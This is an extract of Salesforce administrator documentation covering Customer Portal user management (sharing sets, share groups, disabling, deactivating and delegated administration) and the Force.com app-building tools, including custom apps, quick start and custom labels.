Administrators can create sharing sets to grant high-volume portal users (Service Cloud portal users) access to objects based on their profiles. To view detailed information about a sharing set: 1. Click Your Name > Setup > Customize > Customer Portal > Settings. 2. In the Sharing Settings for High-Volume Portal Users related list, click the name of a sharing set. The Sharing Set detail page shows the profiles included and the access granted to objects in the set. On this page, you can do any of the following: To edit the sharing set, click Edit. To remove the sharing set, click Delete. To view the details of an included profile, click its name. To change or remove access settings for an object, click the Edit or Del link next to the object name.

See Also:
About High-Volume Portal Users (Service Cloud Portal Users) Granting High-Volume Portal Users (Service Cloud Portal Users) Access to Records Sharing Records Owned by High-Volume Portal Users (Service Cloud Portal Users) to Salesforce Users

1578

Customer Portal

About Customer Portal User Management

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To share records owned by high-volume portal users to Salesforce users: Customize Application

High-volume portal users (Service Cloud portal users) are limited-access portal users intended for organizations with many thousands to millions of portal users. Unlike other portal users, high-volume portal users don't have roles, which eliminates performance issues associated with role hierarchy calculations. Because high-volume portal users are not in the role hierarchy while Salesforce users are, a share group allows you to specify the Salesforce users who can access records owned by high-volume portal users. Each Customer Portal has its own share group. To specify the Salesforce users who can access records owned by high-volume portal users: 1. 2. 3. 4. Click Your Name > Setup > Customize > Customer Portal > Settings. Click the name of a Customer Portal. Click the Share Group Settings subtab. Click Activate to turn on the share group. Activating the share group can take a while. An email is sent to you when the process finishes. Note: Deactivating a share group removes all Salesforce users' access to records owned by high-volume portal users. An email isn't sent to you when the deactivation process finishes. 5. Click Edit to add Salesforce users to the share group: a. b. c. d. From the Search drop-down list, select the type of member to add. If you don't see the member you want to add, enter keywords in the search box and click Find. Select members from the Available Members box, and click Add to add them to the group. Click Save.

See Also:
About High-Volume Portal Users (Service Cloud Portal Users) Working with Customer Portal Users About Customer Portal User Management Configuring User Access to the Customer Portal

Roles Per Customer Portal Account

1579

Customer Portal

Working with Customer Portal Users

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set the number of roles per portal account: Customize Application

You can set the default number of roles for Customer Portal accounts. This benefits your customer portal by reducing the number of unused roles for Customer Portal accounts. You must have a Customer Portal enabled to use this functionality. For example, if you currently have three roles created when an account is enabled for your Customer Portal, but only need one role for new accounts, you can reduce the number of roles to one. You can set up to three roles for Customer Portal accounts. The default number of roles for Customer Portal accounts is three. To set the number of roles per Customer Portal account: 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Customer Portal > Settings. Click Set number of roles per Portal Account. Click Edit. In the Number of Roles drop-down list, set your default number of roles per Customer Portal account. Click Save.

The number of roles for existing portal accounts doesn't change with this setting.

Working with Customer Portal Users


Available in: Enterprise, Unlimited, and Developer Editions

Note: The Service Cloud Portal is the Customer Portal intended for many thousands to millions of users. Service Cloud portal users are also referred to as high-volume portal users. See About High-Volume Portal Users (Service Cloud Portal Users) on page 1575. Some common tasks when managing Customer Portal users include: Setting up the Customer Portal for users Enabling Customer Portal users individually from the Contacts tab Disabling and deactivating Customer Portal users Changing Customer Portal users' information and roles Changing Customer Portal users' accounts Merging Customer Portal users Resetting Customer Portal users' passwords Viewing Customer Portal users' user licenses Granting high-volume portal users access to object's records Sharing high-volume portal users' records with Salesforce users Managing Customer Portal users' permissions and access settings

1580

Customer Portal

Working with Customer Portal Users

Assigning profiles to a Customer Portal Delegating Customer Portal user management and case and contact management to portal users Reporting on Customer Portal users Tip: To troubleshoot issues for Customer Portal users, click Work with Portal and choose Login As Portal User on the portal user's contact detail page. This selection opens a new browser window and automatically logs you into the portal as the portal user. This option also ensures that the portal is configured appropriately. The Login As Portal User button is only available if you have the Edit Self-Service Users permission and Edit access on the account. The Login As Portal User button does not display for inactive portal users.

See Also:
About Customer Portal User Management Configuring User Access to the Customer Portal About High-Volume Portal Users (Service Cloud Portal Users) Granting High-Volume Portal Users (Service Cloud Portal Users) Access to Records

Editing Customer Portal User Information


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage Customer Portal users: To manage profiles and permission sets: To create, edit, and delete page layouts: To set field-level security: To set sharing rules: Edit Self-Service Users Manage Users Customize Application Customize Application Manage Users

You can edit Salesforce Customer Portal user information for contacts associated with accounts you have permission to access. To edit information for a Customer Portal user: 1. Click Your Name > Setup > Manage Users > Users. 2. Click Edit next to a users name. 3. Change the necessary information and click Save. Tips for Editing Customer Portal User Information Consider the following when editing Customer Portal user information: You can create a custom list view to display only Customer Portal users by filtering on the Customer Portal Manager license type, Customer Portal User license type, or both. For example, use the criteria License Type equals Customer Portal User, Customer Portal Manager.

1581

Customer Portal

Working with Customer Portal Users

If you change a users email address and Generate new password and notify user immediately is deselected, a confirmation message will be sent to the new email address that you entered. The user must click the link provided in that message for the new email address to take effect. This process ensures system security. When generating a new password for a user, the new password is automatically sent to the users email address and email verification is not enforced. You can include the Customer Portal Welcome component on home page layouts assigned to Customer Portal users so that when they log in to your portal they receive a welcome message with their name, plus the ability to change their own portal username, password, locale, language, time zone, and contact information. When portal users change information about themselves their user record is updated but their contact record is not automatically updated with those changes.

See Also:
About Customer Portal User Management Disabling and Deactivating Portal Users

Disabling and Deactivating Portal Users


Customer Portal is available in: Enterprise, Unlimited, and Developer Editions Partner Portal is available in: Enterprise and Unlimited Editions

User Permissions Needed To disable or deactivate Customer Portal users: Edit on the account associated with the Customer Portal user AND Edit Self-Service Users To disable or deactivate partner portal users: Edit on the account associated with the partner portal user AND Manage Partners

There are two ways in which you can remove a customer's access to your Salesforce Customer Portal or partner portal. As described in detail below, disabling a portal user is permanent, while deactivating a portal user is not: Disabling a portal user Disabling a portal user includes the following actions: Termination of the user's access to your portal Removal from all groups, teams, and sharing rules with which the user is associated. Permanent loss of the portal user's association with the contact If you later re-enable a contact for portal access, a new portal user is created that is not related to the previous portal user record in any way.

1582

Customer Portal

Working with Customer Portal Users

We recommend disabling a portal user if: A contact was accidentally enabled as a portal user The portal user is associated with a duplicate contact You do not want a contact to access the portal in the future Note: You can't disable high-volume portal users. Salesforce doesn't delete user records, including portal user records. While you can't re-enable a disabled portal user, you can view and update the record for a disabled user by clicking Your Name > Setup > Manage Users > Users.

Deactivating a portal user Deactivating a portal user prevents that user from logging into your portal and gives you the option to remove the user from any teams in which he or she is a member (for example, case teams and account teams). When you deactivate a portal user, the portal user record does not permanently lose its association with the contact. You can reactivate the portal user at any time. Note: When a delegated portal user administrator deactivates a portal user, the administrator doesn't have the option to remove the portal user from any teams that user is a member of.

We recommend deactivating a portal user if you may reactivate the portal user in the future. If a user on an account team has Read/Write access (Account Access, Contact Access, Opportunity Access, and Case Access) and is deactivated, the access will default to Read Only if the user is reactivated. Disabling a Portal User To disable a portal user: 1. On the contact detail page, click Work with Portal and choose either Disable Customer Portal User or Disable Partner User. On the account detail page of a person account, click Work with Portal and choose Disable Customer Portal Account. Person accounts are not available for the partner portal. 2. Click OK. Deactivating a Portal User To deactivate a portal user: 1. For the Customer Portal, click Work with Portal and choose View Customer Portal User on the contact or person account detail page. For the partner portal, click Work with Portal and choose View Partner User on the contact detail page. Person accounts are not available for the partner portal. 2. Click Edit, and deselect the Active checkbox. To reactivate a portal user at any time, select the Active checkbox. 3. Click Save.

1583

Customer Portal

Working with Customer Portal Users

Tips on Disabling and Deactivating Portal Users Consider the following when disabling or deactivating portal users (disabling is permanent; deactivating is not): You can't delete an active portal user; you can only disable or deactivate his or her access to the portal. The following table describes whether you can delete contacts that are associated with portal users: State of Portal User Associated to Contact Active portal user Inactive portal user Disabled portal user Can You Delete the Contact? No. This is to ensure that the contact is available if you choose to reactivate the portal user. No. This is to ensure that the contact is available if you choose to reactivate the portal user. Yes. Deleted contacts are sent to the Recycle Bin.

To delete a portal-enabled contact, first disable the portal user, then delete the contact. Cases associated with a portal user are not updated in any way when you disable or deactivate the portal user. For example, if a portal user owns a case, and the portal user is disabled, he or she remains the owner of the case until the case is updated with a new owner. Before you disable a partner user, we recommend that you transfer any opportunities owned by the user to another user who will remain active. This is because when you disable a partner user, any opportunities he or she owns are removed from your organization's forecast hierarchy (the partner user's role becomes obsolete). After you disable a portal user, it may take Salesforce up to ten seconds to disable the user. During that time, a portal user may still perform actions on a portal. You can remove the Disable Customer Portal and Disable Partner User buttons from contact page layouts at any time. Doing so would prevent users with the Edit Self-Service Users or Manage Partners permissions from disabling portal users. A disabled or deactivated portal user does not count against your organization's available user licenses. However, disabling or deactivating a portal user does not reduce the number of licenses for which your organization is billed; you must change your organization's license count to change your billing. See Adding or Subtracting User Licenses on page 3322. To disable all portal users associated with an account and permanently delete all of the account's portal roles and groups: Click Work with Portal and choose Disable Partner Account on a partner portal account. Click Work with Portal and choose Disable Customer Portal Account on a Customer Portal account or Customer Portal person account. You can remove the Disable Customer Portal Account and Disable Partner Account buttons from account page layouts at any time. Doing so would prevent users with the Edit Self-Service Users or Manage Partners permissions from disabling portal accounts.

When you disable a portal user or portal account, the change is tracked in the setup audit trail. Portal roles are not removed from disabled portal users associated with person accounts. However, you can remove the portal roles manually: 1. 2. 3. 4. Click Your Name > Setup > Manage Users > Users. Select the name of a disabled portal user. Click Edit. Select None from the Role drop-down list.

1584

Customer Portal

Working with Customer Portal Users

5. Click Save.

See Also:
Creating Partner Users Enabling the Customer Portal for Contacts and Person Accounts

Resetting Customer Portal User Passwords


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To reset Customer Portal users' passwords: Edit Self-Service Users

If a Salesforce Customer Portal user loses his or her password, the user can click the Forgot your password? link on the Customer Portal login page to have a new password emailed to him or her. To reset a Customer Portal user's password: 1. Click Your Name > Setup > Manage Users > Users. 2. Select the checkbox next to the users name. Optionally, to change the passwords for all currently displayed users, check the box in the column header to select all rows. 3. Click Reset Password to have a new password emailed to the user. Tip: You can include the Customer Portal Welcome component on home page layouts assigned to Customer Portal users so that when they log in to your portal they receive a welcome message with their name, plus the ability to change their own portal username, password, locale, language, time zone, and contact information. When portal users change information about themselves their user record is updated but their contact record is not automatically updated with those changes. For more information about defining home page components and assigning home page layouts, see Customizing Home Tab Page Layouts on page 1212.

See Also:
About Customer Portal User Management

Delegating Customer Portal User Administration and Portal Super User

1585

Customer Portal

Working with Customer Portal Users

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage Customer Portal users: To create, edit, and delete profiles: To view and edit all cases and contacts for an account: Delegated Portal User Administrator Manage Users Portal Super User

You can delegate some administrative rights to Customer Portal users with the Customer Portal Manager Custom user license. Delegated Customer Portal user administrators can do the following for users associated with their own account: Create new Customer Portal users Edit existing Customer Portal users Reset passwords for Customer Portal users Deactivate existing Customer Portal users Note: When a delegated portal user administrator deactivates a portal user, the administrator doesn't have the option to remove the portal user from any teams that user is a member of.

Delegated Customer Portal user administrators can also view their account's detail page, along with contacts and cases related to their account via the Accounts tab. In addition, delegated Customer Portal user administrators receive the Portal Super User permission. This permission lets delegated Customer Portal user administrators do the following for their own account: View and edit all cases Create cases for contacts View and edit all contacts, whether portal enabled or not View account details when they're the contact on a case Report on all contacts, whether portal enabled or not, if the Reports tab is added to your Customer Portal and the user has the Run Reports permission

You can add just the Portal Super User permission to the profiles of portal users (except for high-volume portal users) so that they have access to their account and can view and edit all of its cases and contacts without having the ability to manage other portal users. However, portal super users can't view the Contacts tab on the Customer Portal without the Delegated Portal User Administrator permission. To edit contacts, portal super users must select a contact from a case record. For more information, see: Delegating Customer Portal User Administration Rights Providing Users with the Portal Super User Permission Tips on Setting Up Delegated Customer Portal User Administration

Delegating Customer Portal User Administration Rights Note: You must use the original profile user interface to delegate administration rights for Customer Portal users. If you're using the enhanced profile user interface, disable it temporarily in the User Interface settings to complete this procedure.

1586

Customer Portal

Working with Customer Portal Users

To delegate Customer Portal User Administration Rights: 1. Click Your Name > Setup > Manage Users > Profiles and click a custom Customer Portal profile. You can't add delegation rights or the Portal Super User permission to the standard Customer Portal Manager, Customer Portal User, or High Volume Customer Portal User profiles. 2. Click Edit. 3. Select Delegated Portal User Administrator. When you select Delegated Portal User Administrator, the Portal Super User is automatically selected after you click Save. 4. 5. 6. 7. Click Save. In the Delegated Portal Profiles related list, click Edit. Select the Customer Portal profiles you want users with this profile to be able to administer. Click Save.

To change which profiles a delegated Customer Portal user administrator can edit: 1. 2. 3. 4. Click Your Name > Setup > Manage Users > Profiles and click a custom Customer Portal profile. Click Edit in the Delegated Portal User Profiles related list. Select the Customer Portal user profiles you want this profile to be able to administer. Click Save.

Delegated Customer Portal administrators can perform the following tasks from a contact's detail page: Click Enable Customer Portal User to allow a contact to use a Customer Portal. Click View Customer Portal User to view the Customer Portal user's details. From a Customer Portal user's detail page, delegated Customer Portal users can: Click Edit to edit a Customer Portal user's details. Click Reset Password to reset the Customer Portal user's password. Click Edit and deselect the Active checkbox to deactivate the user. Providing Users with the Portal Super User Permission To provide users with the Portal Super User permission: 1. Click Your Name > Setup > Manage Users > Profiles and click a custom Customer Portal profile. You can't add the Portal Super User permission to the standard Customer Portal Manager, Customer Portal User, or High Volume Customer Portal User profiles. 2. Click Edit. 3. Select Portal Super User. 4. Click Save. Tip: To report on profiles with the Portal Super User permission: 1. Note the names of profiles with the Portal Super User permission. 2. Select the Reports tab. 3. From the Administrative Reports folder, select the All Active Users report. For more information, see Administrative Reports on page 2668.

1587

Customer Portal

Working with Customer Portal Users

Tips on Setting Up Delegated Customer Portal User Administration Consider the following when setting up delegated Customer Portal User Administration: On the profile of users you are granting delegated portal administration: Add the Create and Edit permissions on contacts so that delegated portal administrators and users with the Portal Super User permission can create and update contacts related to their account. Set the Accounts and Contacts tab settings to Default On so that delegated portal administrators can view the Accounts and Contacts tabs and easily manage contacts related to their accounts. For more information on working with profiles, see User Profiles Overview on page 490. Add the Accounts and Contacts tabs to your Customer Portal. See Customizing Your Customer Portal Tabs on page 1555. Set field-level security and page layouts so that delegated Customer Portal user administrators and portal super users can only access the account, contact, and case fields you specify. See Field-Level Security Overview on page 622 and Managing Page Layouts on page 1188. Note: To allow portal super users to create cases for contacts other than themselves, set the field-level security on the Contact Name field on cases to Editable. Customer Portal users are prevented from viewing related lists to objects they don't have access to. For example, if a Customer Portal user views a contact, and the contact page layout includes the Opportunities related list, the portal user can't view the Opportunities related list because portal users don't have access to opportunities. Delegated Customer Portal user administrators can update portal users on any account to which they are transferred. You can set account sharing rules to extend delegated Customer Portal user administrators' access beyond their own accounts. See Sharing Rules Overview on page 598.

See Also:
About Customer Portal User Management

1588

BUILDING AND EXTENDING APPS

App Setup Overview


The available setup options vary according to which Salesforce Edition you have.

The App Setup page, accessed by clicking Your Name > Setup > App Setup, contains options to customize Salesforce, and build, deploy, and manage applications. The sidebar includes tools for browsing and searching setup options. Customize Customize the standard tabs and types of records, including adding custom fields and setting page layouts. You can also customize search, tagging, and user interface options for your organization. Create Use point-and-click tools to customize Salesforce and build your own applications to meet the needs of your business. These tools do not require any programming knowledge. Develop Use Salesforce development tools to customize Salesforce and build your own applications. These tools may require some programming knowledge. Deploy Monitor the deployments of setup configuration from Force.com IDE, Force.com Migration Tool, and other clients. Note: Force.com IDE is a resource provided by salesforce.com to support its users and partners, but is not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement.

Installed Packages View and manage the packages that have been installed from AppExchange. AppExchange Marketplace on page 2042 Browse and search AppExchange. Critical Updates Control when critical updates are enabled in your organization.

1589

Create

App Builder Tools Overview

CREATE
App Builder Tools Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

The platform includes innovative point-and-click app builder tools that give you the power to customize Salesforce to meet the needs of your business. You can also build your own applications to share and store information that is important to you. These tools do not require any programming knowledge. Click Your Name > Setup > Create to access the following options. Apps Build your own applications by defining groups of standard and custom tabs. Custom Labels Create custom text values that can be used in multilingual apps. Objects Create custom data and custom related lists to store and display information unique to your organization. Packages Create collections of items such as apps, objects, workflow rules, or email templates, and upload them on Force.com AppExchange to be shared with others. Report Types Available in Professional, Enterprise, Unlimited, and Developer Editions only. Create custom report types so that your users have more power and flexibility while building custom reports. Tabs Create tabs to display and edit the data in your custom objects or embed web content and applications within the user interface. Workflow and Approvals Available in Enterprise, Unlimited, and Developer Editions only. Create automated business processes that send email alerts, assign tasks, update fields, and set outbound messages to external services. The platform also includes app builder tools that require some programming knowledge. Tools that require advanced programming knowledge are located at Your Name > Setup > Develop.

See Also:
App Setup Overview

Force.com Home Page Overview


1590

Create

Force.com Home Page Overview

Available in: All Editions except Database.com

User Permissions Needed To access the Force.com home page: Customize Application

The Force.com home page contains options for building and managing applications. To access the Force.com home page, click Your Name > Setup. To return to this page from other setup pages, click Force.com Home in the Setup menu. In the left pane, use the Setup menu to access all setup actions. The Setup menu includes tools for browsing and searching setup options. The Getting Started box contains a tool for generating a basic app in a single step, and links to information about extending and managing apps. This box doesn't appear if you've previously dismissed it. The Quick Links box provides links for managing users, apps, security and data. The New Features box showcases new functionality available in the latest release. This box doesn't appear if you've previously dismissed it. It reappears with each new release; click Dismiss to hide it again. The right pane includes external links that are useful for developers and administrators.

What is an App?
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view apps: To manage apps: View Setup and Configuration Customize Application

An app is a group of tabs that works as a unit to provide application functionality. Salesforce provides standard apps such as Sales and Call Center. You can customize the standard apps to match the way you work. You can also build your own on-demand apps by grouping standard and custom tabs into new custom apps. A custom app consists of a label, a description, and an ordered list of tabs. You can also set custom logos for your custom apps. With custom apps, you can extend the kinds of information that you manage and share online beyond CRM. Custom apps are part of the Force.com platform that allows you to create and share custom applications with other Salesforce users. For information about sharing apps that you have built, see Overview of Packages on page 1775. Your available custom apps are listed in the Force.com app menu, which is a drop-down list that displays at the top of every Salesforce page. When you choose an app from the Force.com app menu, your screen changes to reflect the contents of that app. For example, if you switch from an app that contains the Opportunities tab to another app that does not, the Opportunities tab disappears, and the Opportunity option no longer appears in the Create New drop-down list in the sidebar. In addition, the app might display a different initial or default landing tab when selected.

1591

Create

Creating Custom Apps

Apps are associated with profiles. Profiles control which tabs you can see or hide, as well as which apps are available to you. You can personalize the tabs in your apps as much as your profile allows. For more information, refer to Customizing Your Display on page 41. Note: Service Cloud console apps are custom apps. See Service Cloud Console Overview on page 2912. For Salesforce Platform and Salesforce Platform One license users, the Platform standard app is the only app listed in the Force.com app menu. For details about specifying a unique label for the Platform standard app, see Creating Custom Apps on page 1592.

See Also:
Creating Custom Apps Managing Apps Overview of User Permissions and Access Overview of Packages Managing Packages

Creating Custom Apps


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view apps: To manage apps: View Setup and Configuration Customize Application

Create custom apps to build applications for your users. See Salesforce Editions and Limits on page 1898 for the total number of custom apps you can define. Note: If you're new to Force.com apps, we recommend using Force.com quick start to create an app. With this tool, you can generate a basic working app in just one step. To create custom apps: 1. Click Your Name > Setup > Create > Apps. 2. Click New. 3. If the Service Cloud console is available, select whether you want to define a custom app or a Service Cloud console. To continue defining a Service Cloud console app, see Creating a Service Cloud Console App on page 1426. 4. Specify a label for the app. The label can have a maximum of 40 characters, including spaces. This label is the app's name in the Force.com app menu. 5. Optionally, enter a description of the app. 6. Click Next.

1592

Create

Creating Apps with Force.com Quick Start

7. Optionally, specify a custom logo for the app. Click Insert an image to choose an image file from the document library. Consider these requirements when choosing a custom app logo from the document library: The image must be in GIF or JPEG format and less than 20 KB in size. If the image is larger than 300 pixels wide by 55 pixels high, then it will be scaled to fit. For the best on-screen display, we recommend you use an image with a transparent background. The Externally Available checkbox must be selected on the document's properties so that users can view the image.

8. Click Next. 9. Click the left and right arrow buttons to add or remove tabs from the app. 10. Click the up and down arrow buttons to define the order in which the tabs will display in the app. 11. Optionally, set the default landing tab for your new app using the Default Landing Tab drop-down menu below the list of selected tabs. This determines the first tab a user sees when logging into this app. 12. For Professional Edition users, click Save to finish the wizard. For Enterprise or Developer Edition users, click Next. 13. Check the Visible box to choose the user profiles for which the app will be available. 14. Check the Default box to set the app as that profiles default app. This means that new users who have the profile will see this app when they log in for the first time. Profiles with limits are excluded from this list. 15. Click Save to finish the wizard.

See Also:
Managing Apps What is an App? Removing Apps

Creating Apps with Force.com Quick Start


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create apps: Customize Application

Force.com quick start is a fast way to create a basic working app in just one step. 1. Click Your Name > Setup > Create > Apps, and click Quick Start. Alternatively, from the Force.com home page, click Add App. 2. Enter the information needed for your app.
Field Name Description The app's name that appears in the Force.com app menu. The label can have a maximum of 40 characters, including spaces. The plural name of the object. This name appears on the tab.

App Label Plural Label

1593

Create

Creating Apps with Force.com Quick Start

Field Name

Description A name used to refer to the object in any user interface pages. If it's appropriate for your organizations default language, specify the gender of the label. This field appears if the organization-wide default language expects gender.

Singular Label Gender

Starts with a vowel sound If it's appropriate for your organizations default language, enable this option if your label should be preceded by an instead of a.

3. Click Go. 4. To see your app as it will appear to users, click Go To My App. Note: If you don't have the Modify All Data permission, you won't be able to access the object in your app (you'll see an Insufficient Privileges message). To gain access, ask your administrator to grant you object permissions for your object. In generating an app, Force.com quick start: Generates an app label and API name (a unique name that's used to refer to the object when using the Force.com API). Generates an object label and API name. Generates a tab label, and associates the tab with the object. Enables feed tracking for the object. Feed tracking lets people follow records of that object type and see Chatter feed updates when records of that object type are created. Enables access to the app and tab in your user profile. Any users who have the Modify All Data permission can also access the object.

Once you've created an app, you can extend it with more components, specify access settings, and add users to your organization.

See Also:
Force.com Quick Start: Next Steps for Building and Managing Apps Managing Custom Objects Managing Custom Tabs Managing Apps Customizing Chatter Feed Tracking Removing Apps

Force.com Quick Start: Next Steps for Building and Managing Apps

1594

Create

Creating Apps with Force.com Quick Start

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create objects, tabs, fields, and validation rules: To create users and profiles: Customize Application Manage Users

Once you've created a basic working app with Force.com quick start, you'll want to build out the app with more objects and fields, define its access settings, and add users to share your app with them. 1. Build out your app with the basic components used in apps. Create objects, which are custom database tables that allow you to store information specific to your app. Create tabs that are associated with the objects you've created. For each object, create fields to store the information that's important to your organization. Create validation rules, which verify that the data users enter meets the standards you specify before they save a record.

For quick shortcuts to these tools, use the Force.com quick access menu, which is available from object list view pages and record detail pages. 2. Create user profiles, which are collections of settings and permissions that determine what users can do in the organization. You'll create each profile by cloning an existing profile. 3. In the profiles you created, define the types of access that users will have to the app. a. Make your app visible in the new profiles. You'll do this in the Assigned Apps page of the enhanced profile user interface, or the Custom App Settings section of the original profile user interface. b. Make your object tabs visible. c. Set the object permissions for the objects you created. You'll do this in the Objects and Tabs page of the enhanced profile user interface, or the Custom Object Permissions section of the original profile user interface. 4. Add users to your organization. When adding users, be sure to assign them one of the profiles you created so they can access your app. These are the basic steps for building and managing an app. As you explore the Force.com platform, you'll find even more ways to build, manage, and deploy apps.

See Also:
Creating Apps with Force.com Quick Start

Managing Apps

1595

Create

Managing Apps

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view apps: To manage apps: View Setup and Configuration Customize Application

You can customize the standard and custom apps in your organization. Click Your Name > Setup > Create > Apps to display a list of your organizations apps. To view details for an app, click the app name. This displays the properties of the app, such as which tabs are part of the app, including any tabs that are not yet deployed. To change the properties of an app, click Edit. To remove a custom app, click Del. Standard apps cannot be deleted. To create an app, do one of the following: If you're new to Force.com apps, click Quick Start. With this option, you generate a basic working app in one simple step. If you've already created the objects, tabs, and fields you need for your app, click New. With this option, you create an app label and logo, add tabs, and assign the app to profiles. To change the order of apps in the Force.com app menu, click Reorder. For Salesforce Platform and Salesforce Platform One license users, the Platform standard app is the only app listed in the Force.com app menu.

See Also:
What is an App? Overview of Packages

Using the Force.com Quick Access Menu


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Force.com quick access menu: Customize Application

The Force.com quick access menu offers handy shortcuts to customization features. When you're working on apps or objects, use this menu to jump to relevant app customization features. It's available from object list view pages and record detail pages.

1596

Create

Managing Apps

Note: The Force.com quick access menu isn't visible for list views on accounts, contacts and custom objects if drag-and-drop scheduling on list views is enabled.

To expand or collapse the menu, click (or press ALT+;). To remove the menu from all list views and record pages, click Turn off menu. To restore the menu, click Your Name > Setup > My Personal Information > Personal Information. On the user detail page, click Edit, select Force.com Quick Access Menu, then click Save.

See Also:
What is an App? What is a Custom Object? What is a Custom Tab?

Editing App Properties


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view apps: To manage apps: View Setup and Configuration Customize Application

You can change the properties of the standard and custom apps in your organization. For example, you can specify a custom logo for a custom app, or you can specify which tabs are available in a standard or custom app. Note that you cannot change the label, description, or logo for a standard app. To edit the properties of an app: 1. Click Your Name > Setup > Create > Apps. 2. Click Edit next to the app you want to modify. 3. Specify a label for the app. The label can have a maximum of 40 characters, including spaces. This label is the app's name in the Force.com app menu. 4. Optionally, enter a description of the app. 5. Optionally, specify a custom logo for the app. Click Insert an image to choose an image file from the document library. Consider these requirements when choosing a custom app logo from the document library: The image must be in GIF or JPEG format and less than 20 KB in size. If the image is larger than 300 pixels wide by 55 pixels high, then it will be scaled to fit. For the best on-screen display, we recommend you use an image with a transparent background. The Externally Available checkbox must be selected on the document's properties so that users can view the image.

1597

Create

Managing Apps

6. Click the left and right arrow buttons to add or remove tabs from the app. 7. Click the up and down arrow buttons to define the order in which the tabs will display in the app. 8. Optionally, set the default landing tab for your new app using the Default Landing Tab drop-down menu below the list of selected tabs. This determines the first tab a user sees when logging into this app. 9. Optionally, select the Overwrite users' personal custom app customizations checkbox to override any app personalizations users may have made. 10. Check the Visible box to choose the user profiles for which the app will be available. 11. Check the Default box to set the app as that profiles default app. This means that new users who have the profile will see this app when they log in for the first time. Profiles with limits are excluded from this list. 12. Click Save.

See Also:
What is an App? Managing Apps

Reordering the Force.com App Menu


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view apps: To manage apps: View Setup and Configuration Customize Application

You can change the order in which apps appear in the Force.com app menu. The Force.com app menu is a drop-down list that displays at the top of every application page. 1. 2. 3. 4. Click Your Name > Setup > Create > Apps. Click Reorder. Click the arrows as desired to change the app order. Click Save. The changes will take effect immediately.

See Also:
What is an App? Creating Custom Apps Managing Apps

Removing Apps

1598

Create

Custom Labels Overview

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delete apps and objects: Customize Application

You can remove custom apps, but not standard apps. Removing an app removes it from the Force.com apps menu, but doesn't remove any associated objects. If you've created objects for an app, you may want to remove them as well. 1. Click Your Name > Setup > Create > Apps. 2. Click Del next to the app. 3. Optionally, delete any associated objects.

CUSTOM LABELS
Custom Labels Overview
Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed Create, edit, or delete custom labels: Create or override a translation: Customize Application Manage Translation OR View Setup and Configuration and be designated as a translator

Custom labels are custom text values that can be accessed from Apex classes or Visualforce pages. The values can be translated into any language Salesforce supports. Custom labels enable developers to create multilingual applications by automatically presenting information (for example, help text or error messages) in a user's native language. You can create up to 5,000 custom labels for your organization, and they can be up to 1,000 characters in length. To access custom labels, click Your Name > Setup > Create > Custom Labels. From this page, you can: Create a new custom label or edit an existing custom label. View an existing custom label. From the view page, you can create or edit a translation in a language used by your organization.

To add a custom label to your application, use the following steps:

1599

Create

Creating and Editing Custom Labels

1. Create a new custom label. 2. Translate the value of the label into the languages supported by your application. 3. Call the label using either an Apex class or a Visualforce page. Custom labels are called in Apex using System.Label.Label_name. For Visualforce, use the $Label global variable. 4. Include the label in your application when you package it for the AppExchange. Tip: If an Apex class or Visualforce page references a custom label, and that label has translations, you must explicitly package the individual languages desired in order for those translations to be included in the package.

See Also:
Creating and Editing Custom Labels Viewing Custom Labels Creating and Editing Custom Label Translations Setting Up the Translation Workbench Salesforce Globalization Overview Overriding Labels

Creating and Editing Custom Labels


Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed Create, edit, or delete custom labels: Create or override a translation: Customize Application Manage Translation OR View Setup and Configuration and be designated as a translator

To create or edit a new custom label: 1. From Your Name > Setup > Create > Custom Labels, click New Custom Label to create a new label, or click Edit next to the custom label you want to edit. 2. In the Short Description text box, enter an easily recognizable term to identify this custom label. This description is used in merge fields. Note: You cannot change the language of an existing custom label.

1600

Create

Viewing Custom Labels

3. If you are creating a new custom label, in the Name text box, enter the name the label uses. This value is used in Apex scripts and Visualforce pages to reference the custom label. Names must contain only alphanumeric characters, start with a letter, contain no spaces or double underscores, and be unique from all other labels in your organization. 4. Check the Protected Component check box to mark the custom label as protected. For more information, see the Force.com Quick Reference for Developing Packages. 5. In the Categories text box, enter text to categorize the label. This field can be used in filter criteria when creating custom label list views. Separate each category with a comma. The total number of characters allowed in the Categories text box is 255. 6. In the Value text box, enter text up to 1,000 characters. This value can be translated into any language Salesforce supports. Note: It may take a few minutes before all users see any changes you make to this field.

7. Click Save.

See Also:
Custom Labels Overview Viewing Custom Labels Creating and Editing Custom Label Translations Overriding Labels

Viewing Custom Labels


Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed Create, edit, or delete custom labels: Create or override a translation: Customize Application Manage Translation OR View Setup and Configuration and be designated as a translator

After creating a custom label, you can: Edit the custom label. Note: You cannot edit the attributes of custom labels installed as part of a managed package. You can only override the existing translations or provide new translations for languages not included in the package. Delete a custom label.

1601

Create

Creating and Editing Custom Label Translations

Note: You cannot delete custom labels installed as part of a managed package, or that are referenced by Apex or a Visualforce page. You can only override the existing translations. Create or edit a translation.

See Also:
Custom Labels Overview Creating and Editing Custom Labels Creating and Editing Custom Label Translations Setting Up the Translation Workbench

Creating and Editing Custom Label Translations


Available in: Developer, Professional, Enterprise, and Unlimited Editions

